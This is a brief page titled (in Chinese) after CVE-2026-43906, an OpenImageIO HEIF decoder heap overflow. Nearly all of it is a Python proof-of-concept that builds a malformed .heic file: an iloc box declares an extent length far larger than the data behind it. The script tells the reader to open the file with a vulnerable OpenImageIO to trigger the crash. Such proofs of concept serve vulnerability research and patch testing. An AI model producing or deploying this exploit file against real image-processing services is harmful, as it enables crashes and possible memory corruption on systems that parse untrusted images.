CVE-2026-43906 OpenImageIO HEIF解码器堆溢出漏洞

import struct # PoC for CVE-2026-43906: OpenImageIO Heap Buffer Overflow # This script generates a malformed HEIF file with mismatched subimage metadata # to trigger the heap overflow vulnerability in vulnerable versions of OpenImageIO. def generate_malformed_heif(filename): with open(filename, 'wb') as f: # Standard HEIF/ISO Base Media File Format header (ftyp box) f.write(b'\x00\x00\x00\x20') # Size f.write(b'ftyp') # Type f.write(b'heic') # Major brand f.write(b'\x00\x00\x00\x00') # Minor version f.write(b'mif1') # Compatible brand f.write(b'heic') # Compatible brand f.write(b'\x00\x00\x00\x00') # Padding # 'meta' box (metadata) meta_box_size = 1000 # Claimed size f.write(struct.pack('>I', meta_box_size)) f.write(b'meta') f.write(b'\x00\x00\x00\x00') # Version/flags # 'iloc' box (item location) - this is where we trigger the mismatch # We define an item that claims to have data larger than the buffer allocated f.write(b'\x00\x00\x00\x30') # Size f.write(b'iloc') f.write(b'\x00\x00\x00\x00') # Version/flags f.write(b'\x00') # Offset size f.write(b'\x02') # Length size (2 bytes) f.write(b'\x00') # Base offset size f.write(b'\x00') # Reserved f.write(b'\x00\x01') # Item count f.write(b'\x00\x01') # Item ID f.write(b'\x00\x00') # Construction method f.write(b'\x00') # Data reference index # Mismatch: Extent length is set very large relative to actual data # This causes the decoder to write past the end of the allocated heap buffer f.write(b'\xFF\xFF') # Extent length (max 16-bit value to trigger overflow) f.write(b'\x00\x00\x00\x00') # Extent offset # Fill the rest with dummy data to satisfy file structure reading # but insufficient to cover the declared extent length f.write(b'A' * 500) print(f"Malformed HEIF file generated: {filename}") print("Open this file with a vulnerable version of OpenImageIO to trigger the crash.") if __name__ == "__main__": generate_malformed_heif("cve_2026_43906_poc.heic")